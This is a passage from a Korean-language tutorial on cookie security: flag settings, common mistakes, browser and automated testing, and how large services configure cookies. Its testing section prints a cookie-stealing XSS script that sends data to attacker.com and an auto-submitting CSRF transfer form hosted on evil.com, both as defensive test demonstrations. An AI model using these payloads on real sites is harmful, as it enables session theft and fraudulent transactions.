ํŠน์ง•: ์šด์˜ ํ™˜๊ฒฝ๊ณผ ๋™์ผํ•œ ์„ค์ •์œผ๋กœ ํ…Œ์ŠคํŠธ

๐Ÿš€ ์šด์˜ ํ™˜๊ฒฝ (Production)
{
  httpOnly: true,
  secure: true,
  sameSite: 'strict',  // ๋˜๋Š” 'lax' (์„œ๋น„์Šค ํŠน์„ฑ์— ๋”ฐ๋ผ)
  domain: '.yourdomain.com',
  maxAge: 86400
}
ํŠน์ง•: ์ตœ๊ณ  ์ˆ˜์ค€์˜ ๋ณด์•ˆ ์„ค์ •

์ฟ ํ‚ค ๋ณด์•ˆ ์ฒดํฌ๋ฆฌ์ŠคํŠธ

๋ฐฐํฌ ์ „์— ๋ฐ˜๋“œ์‹œ ํ™•์ธํ•ด์•ผ ํ•  ์ฒดํฌ๋ฆฌ์ŠคํŠธ์•ผ! โœ…

๐Ÿ” ๋ฐฐํฌ ์ „ ํ•„์ˆ˜ ์ฒดํฌ๋ฆฌ์ŠคํŠธ:

๊ธฐ๋ณธ ์„ค์ •
โ˜‘๏ธ HttpOnly ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋ชจ๋“  ์„ธ์…˜ ์ฟ ํ‚ค์— ์„ค์ •๋˜์–ด ์žˆ๋Š”๊ฐ€?
โ˜‘๏ธ Secure ํ”Œ๋ž˜๊ทธ๊ฐ€ ์šด์˜ ํ™˜๊ฒฝ์—์„œ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š”๊ฐ€?
โ˜‘๏ธ SameSite ์†์„ฑ์ด ์ ์ ˆํžˆ ์„ค์ •๋˜์–ด ์žˆ๋Š”๊ฐ€? (Lax ๋˜๋Š” Strict)
โ˜‘๏ธ ์ฟ ํ‚ค ๋งŒ๋ฃŒ ์‹œ๊ฐ„์ด ์ ์ ˆํ•œ๊ฐ€?

HTTPS ์„ค์ •
โ˜‘๏ธ ์‚ฌ์ดํŠธ ์ „์ฒด๊ฐ€ HTTPS๋กœ ์„œ๋น„์Šค๋˜๋Š”๊ฐ€?
โ˜‘๏ธ HTTP์—์„œ HTTPS๋กœ ์ž๋™ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ๋˜๋Š”๊ฐ€?
โ˜‘๏ธ HSTS ํ—ค๋”๊ฐ€ ์„ค์ •๋˜์–ด ์žˆ๋Š”๊ฐ€?
โ˜‘๏ธ Mixed Content ๊ฒฝ๊ณ ๊ฐ€ ์—†๋Š”๊ฐ€?

์ถ”๊ฐ€ ๋ณด์•ˆ
โ˜‘๏ธ ์ฟ ํ‚ค ์ด๋ฆ„์ด ๊ธฐ๋ณธ๊ฐ’์—์„œ ๋ณ€๊ฒฝ๋˜์—ˆ๋Š”๊ฐ€?
โ˜‘๏ธ Domain ์†์„ฑ์ด ์ ์ ˆํžˆ ์„ค์ •๋˜์–ด ์žˆ๋Š”๊ฐ€?
โ˜‘๏ธ Path ์†์„ฑ์ด ํ•„์š”ํ•œ ๊ฒฝ์šฐ ์ œํ•œ๋˜์–ด ์žˆ๋Š”๊ฐ€?
โ˜‘๏ธ ๋ฏผ๊ฐํ•œ ์ •๋ณด๊ฐ€ ์ฟ ํ‚ค์— ์ €์žฅ๋˜์ง€ ์•Š๋Š”๊ฐ€?

ํ…Œ์ŠคํŠธ
โ˜‘๏ธ ๋ธŒ๋ผ์šฐ์ € ๊ฐœ๋ฐœ์ž ๋„๊ตฌ์—์„œ ์ฟ ํ‚ค ์†์„ฑ์„ ํ™•์ธํ–ˆ๋Š”๊ฐ€?
โ˜‘๏ธ XSS ๊ณต๊ฒฉ ์‹œ๋ฎฌ๋ ˆ์ด์…˜์„ ํ•ด๋ดค๋Š”๊ฐ€?
โ˜‘๏ธ CSRF ๊ณต๊ฒฉ ์‹œ๋ฎฌ๋ ˆ์ด์…˜์„ ํ•ด๋ดค๋Š”๊ฐ€?
โ˜‘๏ธ ๋‹ค์–‘ํ•œ ๋ธŒ๋ผ์šฐ์ €์—์„œ ํ…Œ์ŠคํŠธํ–ˆ๋Š”๊ฐ€?

๐Ÿ› ํ”ํ•œ ์‹ค์ˆ˜์™€ ํ•ด๊ฒฐ ๋ฐฉ๋ฒ•

์‹ค์ˆ˜ 1: SameSite=None์ธ๋ฐ Secure๊ฐ€ ์—†๋Š” ๊ฒฝ์šฐ

โŒ ์ž˜๋ชป๋œ ์ฝ”๋“œ:
res.cookie('tracking', 'value', {
  sameSite: 'none'  // Secure ์—†์Œ!
});
์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€:
"Cookie has been rejected because it is in a cross-site context and its 'SameSite' is 'None'."

โœ… ์˜ฌ๋ฐ”๋ฅธ ์ฝ”๋“œ:
res.cookie('tracking', 'value', {
  sameSite: 'none',
  secure: true  // ํ•„์ˆ˜!
});
์„ค๋ช…: Chrome 80 ์ดํ›„๋กœ SameSite=None์„ ์‚ฌ์šฉํ•˜๋ ค๋ฉด ๋ฐ˜๋“œ์‹œ Secure ํ”Œ๋ž˜๊ทธ๊ฐ€ ํ•„์š”ํ•ด!

์‹ค์ˆ˜ 2: ๋กœ์ปฌ ๊ฐœ๋ฐœ์—์„œ Secure ํ”Œ๋ž˜๊ทธ ์‚ฌ์šฉ

โš ๏ธ ๋ฌธ์ œ ์ƒํ™ฉ:
๋กœ์ปฌ ๊ฐœ๋ฐœ ํ™˜๊ฒฝ(http://localhost)์—์„œ Secure ํ”Œ๋ž˜๊ทธ๋ฅผ ์ผœ๋ฉด ์ฟ ํ‚ค๊ฐ€ ์ž‘๋™ํ•˜์ง€ ์•Š์•„.

โœ… ํ•ด๊ฒฐ ๋ฐฉ๋ฒ•:
// ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋กœ ๋ถ„๊ธฐ
const isProduction = process.env.NODE_ENV === 'production';

res.cookie('sessionId', 'value', {
  httpOnly: true,
  secure: isProduction,  // ๊ฐœ๋ฐœ์—์„œ๋Š” false
  sameSite: isProduction ? 'strict' : 'lax'
});
๋˜๋Š” ๋กœ์ปฌ์—์„œ HTTPS๋ฅผ ์‚ฌ์šฉ:
# mkcert ์„ค์น˜ (macOS)
brew install mkcert
mkcert -install
mkcert localhost

# Node.js์—์„œ HTTPS ์„œ๋ฒ„ ์‹คํ–‰
const https = require('https');
const fs = require('fs');

const options = {
  key: fs.readFileSync('localhost-key.pem'),
  cert: fs.readFileSync('localhost.pem')
};

https.createServer(options, app).listen(3000);

์‹ค์ˆ˜ 3: HttpOnly ์ฟ ํ‚ค๋ฅผ JavaScript๋กœ ์ฝ์œผ๋ ค๊ณ  ์‹œ๋„

โŒ ์ž˜๋ชป๋œ ์ ‘๊ทผ:
// ์„œ๋ฒ„์—์„œ HttpOnly ์ฟ ํ‚ค ์„ค์ •
res.cookie('sessionId', 'abc123', { httpOnly: true });

// ํด๋ผ์ด์–ธํŠธ์—์„œ ์ฝ์œผ๋ ค๊ณ  ์‹œ๋„
console.log(document.cookie);  // sessionId๊ฐ€ ๋ณด์ด์ง€ ์•Š์Œ!
โœ… ์˜ฌ๋ฐ”๋ฅธ ์ ‘๊ทผ:
HttpOnly ์ฟ ํ‚ค๋Š” ์„œ๋ฒ„์—์„œ๋งŒ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•ด. ํด๋ผ์ด์–ธํŠธ์—์„œ ํ•„์š”ํ•œ ์ •๋ณด๋Š” ๋ณ„๋„์˜ ์ฟ ํ‚ค๋‚˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์œผ๋กœ ์ „๋‹ฌํ•ด์•ผ ํ•ด:

// ์„œ๋ฒ„์—์„œ ๋‘ ๊ฐœ์˜ ์ฟ ํ‚ค ์„ค์ •
res.cookie('sessionId', 'abc123', { 
  httpOnly: true,  // ์„œ๋ฒ„ ์ „์šฉ
  secure: true,
  sameSite: 'strict'
});

res.cookie('userId', user.id, { 
  httpOnly: false,  // ํด๋ผ์ด์–ธํŠธ์—์„œ ์ฝ๊ธฐ ๊ฐ€๋Šฅ
  secure: true,
  sameSite: 'lax'
});

// ํด๋ผ์ด์–ธํŠธ์—์„œ๋Š” userId๋งŒ ์ฝ์„ ์ˆ˜ ์žˆ์Œ
console.log(document.cookie);  // userId=123

์‹ค์ˆ˜ 4: ์„œ๋ธŒ๋„๋ฉ”์ธ ๊ฐ„ ์ฟ ํ‚ค ๊ณต์œ  ์‹คํŒจ

โš ๏ธ ๋ฌธ์ œ ์ƒํ™ฉ:
www.example.com๊ณผ api.example.com ๊ฐ„์— ์ฟ ํ‚ค๊ฐ€ ๊ณต์œ ๋˜์ง€ ์•Š์•„.

โœ… ํ•ด๊ฒฐ ๋ฐฉ๋ฒ•:
// Domain ์†์„ฑ ์„ค์ •
res.cookie('sessionId', 'value', {
  httpOnly: true,
  secure: true,
  sameSite: 'lax',
  domain: '.example.com'  // ์•ž์— ์ (.) ๋ถ™์ด๊ธฐ!
});

// ์ด์ œ ๋ชจ๋“  ์„œ๋ธŒ๋„๋ฉ”์ธ์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅ:
// www.example.com
// api.example.com
// admin.example.com
์ฃผ์˜์‚ฌํ•ญ:
โ€ข Domain์„ ์„ค์ •ํ•˜๋ฉด ๋ชจ๋“  ์„œ๋ธŒ๋„๋ฉ”์ธ์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๋ฏ€๋กœ ๋ณด์•ˆ์— ์ฃผ์˜!
โ€ข ํ•„์š”ํ•œ ๊ฒฝ์šฐ์—๋งŒ ์‚ฌ์šฉํ•˜๊ณ , ๊ฐ€๋Šฅํ•˜๋ฉด ํŠน์ • ๋„๋ฉ”์ธ์œผ๋กœ ์ œํ•œํ•˜๋Š” ๊ฒŒ ์ข‹์•„.

์‹ค์ˆ˜ 5: ์ฟ ํ‚ค ํฌ๊ธฐ ์ œํ•œ ์ดˆ๊ณผ

โŒ ๋ฌธ์ œ:
์ฟ ํ‚ค์— ๋„ˆ๋ฌด ๋งŽ์€ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๋ ค๊ณ  ์‹œ๋„

์ฟ ํ‚ค ํฌ๊ธฐ ์ œํ•œ:
โ€ข ๊ฐœ๋ณ„ ์ฟ ํ‚ค: ์ตœ๋Œ€ 4KB
โ€ข ๋„๋ฉ”์ธ๋‹น ์ด ์ฟ ํ‚ค: ์•ฝ 20๊ฐœ (๋ธŒ๋ผ์šฐ์ €๋งˆ๋‹ค ๋‹ค๋ฆ„)
โ€ข ์ด ํฌ๊ธฐ: ์•ฝ 80KB

โœ… ํ•ด๊ฒฐ ๋ฐฉ๋ฒ•:
// ๋‚˜์œ ์˜ˆ: ํฐ ๋ฐ์ดํ„ฐ๋ฅผ ์ฟ ํ‚ค์— ์ €์žฅ
res.cookie('userData', JSON.stringify(largeUserObject));  // โŒ

// ์ข‹์€ ์˜ˆ: ์„ธ์…˜ ID๋งŒ ์ €์žฅํ•˜๊ณ  ๋ฐ์ดํ„ฐ๋Š” ์„œ๋ฒ„์—
req.session.userId = user.id;  // โœ…
req.session.userData = largeUserObject;  // ์„œ๋ฒ„ ์„ธ์…˜์— ์ €์žฅ

// ํด๋ผ์ด์–ธํŠธ์—๋Š” ์„ธ์…˜ ID๋งŒ ์ „์†ก๋จ
res.cookie('sessionId', req.sessionID, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax'
});

๐Ÿงช ๋ณด์•ˆ ํ…Œ์ŠคํŠธ ๋ฐฉ๋ฒ•

๋ธŒ๋ผ์šฐ์ € ๊ฐœ๋ฐœ์ž ๋„๊ตฌ๋กœ ํ™•์ธํ•˜๊ธฐ

๊ฐ€์žฅ ๊ธฐ๋ณธ์ ์ด๋ฉด์„œ๋„ ์ค‘์š”ํ•œ ํ…Œ์ŠคํŠธ ๋ฐฉ๋ฒ•์ด์•ผ! ๐Ÿ”

๐Ÿ“ฑ Chrome/Edge ๊ฐœ๋ฐœ์ž ๋„๊ตฌ:

1๋‹จ๊ณ„: F12 ํ‚ค๋ฅผ ๋ˆŒ๋Ÿฌ ๊ฐœ๋ฐœ์ž ๋„๊ตฌ ์—ด๊ธฐ
2๋‹จ๊ณ„: Application ํƒญ ํด๋ฆญ
3๋‹จ๊ณ„: ์™ผ์ชฝ ๋ฉ”๋‰ด์—์„œ Cookies ์„ ํƒ
4๋‹จ๊ณ„: ๋„๋ฉ”์ธ ์„ ํƒ

ํ™•์ธํ•  ํ•ญ๋ชฉ:
โ€ข Name: ์ฟ ํ‚ค ์ด๋ฆ„
โ€ข Value: ์ฟ ํ‚ค ๊ฐ’ (๋ฏผ๊ฐํ•œ ์ •๋ณด๊ฐ€ ์—†๋Š”์ง€ ํ™•์ธ!)
โ€ข Domain: ๋„๋ฉ”์ธ ์„ค์ •
โ€ข Path: ๊ฒฝ๋กœ ์„ค์ •
โ€ข Expires / Max-Age: ๋งŒ๋ฃŒ ์‹œ๊ฐ„
โ€ข Size: ์ฟ ํ‚ค ํฌ๊ธฐ
โ€ข HttpOnly: โœ… ์ฒดํฌ๋˜์–ด ์žˆ์–ด์•ผ ํ•จ
โ€ข Secure: โœ… ์šด์˜ ํ™˜๊ฒฝ์—์„œ ์ฒดํฌ๋˜์–ด ์žˆ์–ด์•ผ ํ•จ
โ€ข SameSite: Strict ๋˜๋Š” Lax๋กœ ์„ค์ •๋˜์–ด ์žˆ์–ด์•ผ ํ•จ
โ€ข Priority: ์šฐ์„ ์ˆœ์œ„ (๋ณดํ†ต Medium)

XSS ๊ณต๊ฒฉ ์‹œ๋ฎฌ๋ ˆ์ด์…˜

HttpOnly๊ฐ€ ์ œ๋Œ€๋กœ ์ž‘๋™ํ•˜๋Š”์ง€ ํ…Œ์ŠคํŠธํ•ด๋ณด์ž! ๐Ÿงช

๐Ÿ”ฌ ํ…Œ์ŠคํŠธ ๋ฐฉ๋ฒ•:

ํ…Œ์ŠคํŠธ 1: Console์—์„œ ์ฟ ํ‚ค ์ฝ๊ธฐ ์‹œ๋„
// ๊ฐœ๋ฐœ์ž ๋„๊ตฌ Console์—์„œ ์‹คํ–‰
console.log(document.cookie);

// HttpOnly ์ฟ ํ‚ค๋Š” ์ถœ๋ ฅ๋˜์ง€ ์•Š์•„์•ผ ํ•จ
// ์ถœ๋ ฅ ์˜ˆ: "user_pref=dark_mode; language=ko"
// sessionId๋Š” ๋ณด์ด์ง€ ์•Š์Œ!

ํ…Œ์ŠคํŠธ 2: ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ ์ฃผ์ž… ์‹œ๋ฎฌ๋ ˆ์ด์…˜
// XSS ์ทจ์•ฝ์ ์ด ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•˜๊ณ  ํ…Œ์ŠคํŠธ
<script>
  // ์ฟ ํ‚ค ํƒˆ์ทจ ์‹œ๋„
  const cookies = document.cookie;
  
  // ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ ์ „์†ก ์‹œ๋„
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({ cookies })
  });
</script>

// HttpOnly ์ฟ ํ‚ค๋Š” ํƒˆ์ทจ๋˜์ง€ ์•Š์Œ!

ํ…Œ์ŠคํŠธ 3: JavaScript๋กœ ์ฟ ํ‚ค ์„ค์ • ์‹œ๋„
// HttpOnly ์ฟ ํ‚ค๋ฅผ ๋ฎ์–ด์“ฐ๋ ค๋Š” ์‹œ๋„
document.cookie = "sessionId=hacked; path=/";

// ์‹ค์ œ HttpOnly ์ฟ ํ‚ค๋Š” ๋ณ€๊ฒฝ๋˜์ง€ ์•Š์Œ
// ์ƒˆ๋กœ์šด non-HttpOnly ์ฟ ํ‚ค๊ฐ€ ์ƒ์„ฑ๋  ๋ฟ

CSRF ๊ณต๊ฒฉ ์‹œ๋ฎฌ๋ ˆ์ด์…˜

SameSite๊ฐ€ ์ œ๋Œ€๋กœ ์ž‘๋™ํ•˜๋Š”์ง€ ํ…Œ์ŠคํŠธํ•ด๋ณด์ž! ๐ŸŽฏ

๐Ÿ”ฌ CSRF ํ…Œ์ŠคํŠธ ์‹œ๋‚˜๋ฆฌ์˜ค:

1. ํ…Œ์ŠคํŠธ ํ™˜๊ฒฝ ๊ตฌ์„ฑ
โ€ข ๋ฉ”์ธ ์‚ฌ์ดํŠธ: https://yoursite.com
โ€ข ๊ณต๊ฒฉ์ž ์‚ฌ์ดํŠธ: https://evil.com

2. evil.com์— ์•…์„ฑ ํŽ˜์ด์ง€ ์ƒ์„ฑ
<!-- evil.com/attack.html -->
<html>
<body>
  <h1>๋ฌด๋ฃŒ ๊ฒฝํ’ˆ ๋‹น์ฒจ!</h1>
  
  <!-- ์ˆจ๊ฒจ์ง„ CSRF ๊ณต๊ฒฉ ํผ -->
  <form id="attack" action="https://yoursite.com/api/transfer" method="POST">
    <input type="hidden" name="amount" value="1000000">
    <input type="hidden" name="to" value="attacker">
  </form>
  
  <script>
    // ํŽ˜์ด์ง€ ๋กœ๋“œ ์‹œ ์ž๋™ ์ œ์ถœ
    document.getElementById('attack').submit();
  </script>
</body>
</html>

3. ํ…Œ์ŠคํŠธ ์‹คํ–‰
โ€ข yoursite.com์— ๋กœ๊ทธ์ธ
โ€ข ์ƒˆ ํƒญ์—์„œ evil.com/attack.html ๋ฐฉ๋ฌธ
โ€ข ๋„คํŠธ์›Œํฌ ํƒญ์—์„œ ์š”์ฒญ ํ™•์ธ

4. ์˜ˆ์ƒ ๊ฒฐ๊ณผ
โ€ข SameSite=Strict: ์ฟ ํ‚ค ์ „์†ก ์•ˆ ๋จ โ†’ ์š”์ฒญ ์‹คํŒจ โœ…
โ€ข SameSite=Lax: POST ์š”์ฒญ์ด๋ฏ€๋กœ ์ฟ ํ‚ค ์ „์†ก ์•ˆ ๋จ โ†’ ์š”์ฒญ ์‹คํŒจ โœ…
โ€ข SameSite=None: ์ฟ ํ‚ค ์ „์†ก๋จ โ†’ ๊ณต๊ฒฉ ์„ฑ๊ณต โŒ

์ž๋™ํ™”๋œ ๋ณด์•ˆ ํ…Œ์ŠคํŠธ ๋„๊ตฌ

์ˆ˜๋™ ํ…Œ์ŠคํŠธ๋„ ์ค‘์š”ํ•˜์ง€๋งŒ, ์ž๋™ํ™” ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋” ํšจ์œจ์ ์ด์•ผ! ๐Ÿค–

๐Ÿ› ๏ธ ์ถ”์ฒœ ๋„๊ตฌ๋“ค:

1. OWASP ZAP (Zed Attack Proxy)
โ€ข ๋ฌด๋ฃŒ ์˜คํ”ˆ์†Œ์Šค ๋ณด์•ˆ ํ…Œ์ŠคํŠธ ๋„๊ตฌ
โ€ข ์ฟ ํ‚ค ๋ณด์•ˆ ์„ค์ • ์ž๋™ ๊ฒ€์‚ฌ
โ€ข XSS, CSRF ์ทจ์•ฝ์  ์Šค์บ”
# Docker๋กœ ์‹คํ–‰
docker run -u zap -p 8080:8080 owasp/zap2docker-stable zap.sh \
  -daemon -host 0.0.0.0 -port 8080 \
  -config api.disablekey=true

2. Burp Suite
โ€ข ์ „๋ฌธ๊ฐ€์šฉ ์›น ๋ณด์•ˆ ํ…Œ์ŠคํŠธ ๋„๊ตฌ
โ€ข ์ฟ ํ‚ค ์กฐ์ž‘ ๋ฐ ๋ถ„์„ ๊ธฐ๋Šฅ
โ€ข ์ž๋™ํ™”๋œ ์Šค์บ” ๊ธฐ๋Šฅ

3. Mozilla Observatory
โ€ข ์›น์‚ฌ์ดํŠธ: https://observatory.mozilla.org
โ€ข ์˜จ๋ผ์ธ์—์„œ ์ฆ‰์‹œ ํ…Œ์ŠคํŠธ ๊ฐ€๋Šฅ
โ€ข ๋ณด์•ˆ ํ—ค๋” ๋ฐ ์ฟ ํ‚ค ์„ค์ • ๊ฒ€์‚ฌ
โ€ข ์ ์ˆ˜์™€ ๊ฐœ์„  ๋ฐฉ์•ˆ ์ œ๊ณต

4. Security Headers
โ€ข ์›น์‚ฌ์ดํŠธ: https://securityheaders.com
โ€ข ๋ณด์•ˆ ํ—ค๋” ๊ฒ€์‚ฌ
โ€ข ์ฟ ํ‚ค ์„ค์ • ๋ถ„์„
โ€ข ๋“ฑ๊ธ‰ ํ‰๊ฐ€ (A+ ~ F)

์นจํˆฌ ํ…Œ์ŠคํŠธ ์ฒดํฌ๋ฆฌ์ŠคํŠธ

์ „๋ฌธ์ ์ธ ๋ณด์•ˆ ๊ฐ์‚ฌ๋ฅผ ์œ„ํ•œ ์ฒดํฌ๋ฆฌ์ŠคํŠธ์•ผ! ๐Ÿ“‹

โœ… ์ฟ ํ‚ค ๋ณด์•ˆ ์นจํˆฌ ํ…Œ์ŠคํŠธ ์ฒดํฌ๋ฆฌ์ŠคํŠธ:

HttpOnly ํ…Œ์ŠคํŠธ
โ˜‘๏ธ document.cookie๋กœ ์„ธ์…˜ ์ฟ ํ‚ค ์ฝ๊ธฐ ์‹œ๋„
โ˜‘๏ธ XSS ํŽ˜์ด๋กœ๋“œ๋กœ ์ฟ ํ‚ค ํƒˆ์ทจ ์‹œ๋„
โ˜‘๏ธ JavaScript๋กœ HttpOnly ์ฟ ํ‚ค ์ˆ˜์ • ์‹œ๋„
โ˜‘๏ธ ๋ธŒ๋ผ์šฐ์ € ํ™•์žฅ ํ”„๋กœ๊ทธ๋žจ์œผ๋กœ ์ ‘๊ทผ ์‹œ๋„

Secure ํ…Œ์ŠคํŠธ
โ˜‘๏ธ HTTP๋กœ ์ ‘์† ์‹œ ์ฟ ํ‚ค ์ „์†ก ์—ฌ๋ถ€ ํ™•์ธ
โ˜‘๏ธ ์ค‘๊ฐ„์ž ๊ณต๊ฒฉ ์‹œ๋ฎฌ๋ ˆ์ด์…˜ (Wireshark ๋“ฑ)
โ˜‘๏ธ Mixed Content ํ™•์ธ
โ˜‘๏ธ HTTPS ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ ๋™์ž‘ ํ™•์ธ

SameSite ํ…Œ์ŠคํŠธ
โ˜‘๏ธ ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ POST ์š”์ฒญ ํ…Œ์ŠคํŠธ
โ˜‘๏ธ ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ GET ์š”์ฒญ ํ…Œ์ŠคํŠธ
โ˜‘๏ธ iframe ๋‚ด ์š”์ฒญ ํ…Œ์ŠคํŠธ
โ˜‘๏ธ CSRF ํ† ํฐ ์—†์ด ์š”์ฒญ ํ…Œ์ŠคํŠธ

์ถ”๊ฐ€ ํ…Œ์ŠคํŠธ
โ˜‘๏ธ ์ฟ ํ‚ค ๋งŒ๋ฃŒ ์‹œ๊ฐ„ ๊ฒ€์ฆ
โ˜‘๏ธ ์„ธ์…˜ ๊ณ ์ • ๊ณต๊ฒฉ ํ…Œ์ŠคํŠธ
โ˜‘๏ธ ์ฟ ํ‚ค ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ํ…Œ์ŠคํŠธ
โ˜‘๏ธ ๋„๋ฉ”์ธ/๊ฒฝ๋กœ ์„ค์ • ๊ฒ€์ฆ
์ฟ ํ‚ค ๋ณด์•ˆ ํ…Œ์ŠคํŠธ ํ”„๋กœ์„ธ์Šค 1๋‹จ๊ณ„ ๊ฐœ๋ฐœ์ž ๋„๊ตฌ 2๋‹จ๊ณ„ ์ˆ˜๋™ ํ…Œ์ŠคํŠธ 3๋‹จ๊ณ„ ์ž๋™ํ™” ๋„๊ตฌ 4๋‹จ๊ณ„ ์นจํˆฌ ํ…Œ์ŠคํŠธ ํ™•์ธ ํ•ญ๋ชฉ HttpOnly โœ“ Secure โœ“ SameSite โœ“ ๋งŒ๋ฃŒ์‹œ๊ฐ„ โœ“ ๋„๋ฉ”์ธ โœ“ ํฌ๊ธฐ โœ“ XSS ํ…Œ์ŠคํŠธ ์ฟ ํ‚ค ์ฝ๊ธฐ ์ฟ ํ‚ค ์ˆ˜์ • ์ฟ ํ‚ค ํƒˆ์ทจ ์Šคํฌ๋ฆฝํŠธ ์ฃผ์ž… CSRF ํ…Œ์ŠคํŠธ POST ์š”์ฒญ GET ์š”์ฒญ iframe ๊ณต๊ฒฉ ํ† ํฐ ๊ฒ€์ฆ ๋ณด์•ˆ ๋„๊ตฌ OWASP ZAP Burp Suite Observatory Security Headers

๐ŸŒ ์‹ค์ œ ์„œ๋น„์Šค ์‚ฌ๋ก€ ๋ถ„์„

๋Œ€ํ˜• ์„œ๋น„์Šค๋“ค์˜ ์ฟ ํ‚ค ๋ณด์•ˆ ์ „๋žต

์‹ค์ œ๋กœ ์œ ๋ช…ํ•œ ์„œ๋น„์Šค๋“ค์€ ์–ด๋–ป๊ฒŒ ์ฟ ํ‚ค ๋ณด์•ˆ์„ ๊ตฌํ˜„ํ•˜๊ณ  ์žˆ์„๊นŒ? ๋ถ„์„ํ•ด๋ดค์–ด! ๐Ÿ”

๐Ÿข Google

์ฟ ํ‚ค ์„ค์ •:
โ€ข HttpOnly: โœ… (์„ธ์…˜ ์ฟ ํ‚ค)
โ€ข Secure: โœ…
โ€ข SameSite: Lax (๋Œ€๋ถ€๋ถ„), None (์ผ๋ถ€ ์„œ๋น„์Šค)
โ€ข ์ถ”๊ฐ€: __Secure- ์ ‘๋‘์‚ฌ ์‚ฌ์šฉ

ํŠน์ง•:
โ€ข ๋‹ค์–‘ํ•œ ์„œ๋น„์Šค ๊ฐ„ SSO๋ฅผ ์œ„ํ•ด ๋ณต์žกํ•œ ์ฟ ํ‚ค ์ „๋žต ์‚ฌ์šฉ
โ€ข ์„œ๋ธŒ๋„๋ฉ”์ธ๋ณ„๋กœ ๋‹ค๋ฅธ ์ฟ ํ‚ค ์ •์ฑ… ์ ์šฉ
โ€ข ์ •๊ธฐ์ ์ธ ์ฟ ํ‚ค ๋กœํ…Œ์ด์…˜
โ€ข ์˜์‹ฌ์Šค๋Ÿฌ์šด ํ™œ๋™ ๊ฐ์ง€ ์‹œ ์ฆ‰์‹œ ์„ธ์…˜ ๋ฌดํšจํ™”
๐Ÿ’™ Facebook

์ฟ ํ‚ค ์„ค์ •:
โ€ข HttpOnly: โœ…
โ€ข Secure: โœ…
โ€ข SameSite: None (ํฌ๋กœ์Šค ๋„๋ฉ”์ธ ๊ธฐ๋Šฅ ๋•Œ๋ฌธ)
โ€ข ์ถ”๊ฐ€: ์ž์ฒด ์•”ํ˜ธํ™” ์ ์šฉ

ํŠน์ง•:
โ€ข ์†Œ์…œ ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ์œ„ํ•ด SameSite=None ์‚ฌ์šฉ
โ€ข ์ฟ ํ‚ค ๊ฐ’ ์ž์ฒด๋ฅผ ์•”ํ˜ธํ™”ํ•ด์„œ ์ถ”๊ฐ€ ๋ณด์•ˆ
โ€ข ๋””๋ฐ”์ด์Šค ์ง€๋ฌธ(fingerprinting)๊ณผ ๊ฒฐํ•ฉ
โ€ข ์ด์ƒ ๋กœ๊ทธ์ธ ํŒจํ„ด ๊ฐ์ง€ ์‹œ์Šคํ…œ
๐Ÿ›’ Amazon

์ฟ ํ‚ค ์„ค์ •:
โ€ข HttpOnly: โœ… (์„ธ์…˜)
โ€ข Secure: โœ…
โ€ข SameSite: Lax
โ€ข ์ถ”๊ฐ€: ์žฅ๋ฐ”๊ตฌ๋‹ˆ์šฉ ๋ณ„๋„ ์ฟ ํ‚ค

ํŠน์ง•:
โ€ข ์„ธ์…˜ ์ฟ ํ‚ค์™€ ์žฅ๋ฐ”๊ตฌ๋‹ˆ ์ฟ ํ‚ค ๋ถ„๋ฆฌ
โ€ข ๊ฒฐ์ œ ํŽ˜์ด์ง€์—์„œ ์ถ”๊ฐ€ ์ธ์ฆ
โ€ข ์ฟ ํ‚ค ๋งŒ๋ฃŒ ์‹œ๊ฐ„์„ ์งง๊ฒŒ ์„ค์ •
โ€ข ์ž๋™ ๋กœ๊ทธ์•„์›ƒ ๊ธฐ๋Šฅ

๊ธˆ์œต๊ถŒ ๋ณด์•ˆ ํ‘œ์ค€

์€ํ–‰์ด๋‚˜ ๊ธˆ์œต ์„œ๋น„์Šค๋Š” ๋” ์—„๊ฒฉํ•œ ๋ณด์•ˆ ๊ธฐ์ค€์„ ์ ์šฉํ•ด. ๐Ÿ’ฐ

๐Ÿฆ ๊ธˆ์œต๊ถŒ ์ฟ ํ‚ค ๋ณด์•ˆ ํ‘œ์ค€:

ํ•„์ˆ˜ ์„ค์ •:
โ€ข HttpOnly: โœ… ํ•„์ˆ˜
โ€ข Secure: โœ… ํ•„์ˆ˜
โ€ข SameSite: Strict ๊ถŒ์žฅ
โ€ข ๋งŒ๋ฃŒ ์‹œ๊ฐ„: 15๋ถ„ ์ด๋‚ด (idle timeout)
โ€ข ์ ˆ๋Œ€ ๋งŒ๋ฃŒ: 30๋ถ„ ์ด๋‚ด

์ถ”๊ฐ€ ๋ณด์•ˆ ์กฐ์น˜:
โ€ข ์ฟ ํ‚ค ๊ฐ’ ์•”ํ˜ธํ™”
โ€ข IP ์ฃผ์†Œ ๊ฒ€์ฆ
โ€ข User-Agent ๊ฒ€์ฆ
โ€ข 2๋‹จ๊ณ„ ์ธ์ฆ (2FA)
โ€ข ๊ฑฐ๋ž˜ ์‹œ ์ถ”๊ฐ€ ์ธ์ฆ
โ€ข ์„ธ์…˜ ๊ณ ์ • ๊ณต๊ฒฉ ๋ฐฉ์–ด
โ€ข ๋™์‹œ ๋กœ๊ทธ์ธ ์ œํ•œ

๊ทœ์ • ์ค€์ˆ˜:
โ€ข PCI DSS (Payment Card Industry Data Security Standard)
โ€ข ์ „์ž๊ธˆ์œต๊ฐ๋…๊ทœ์ •
โ€ข ๊ฐœ์ธ์ •๋ณด๋ณดํ˜ธ๋ฒ•
โ€ข GDPR (์œ ๋Ÿฝ)

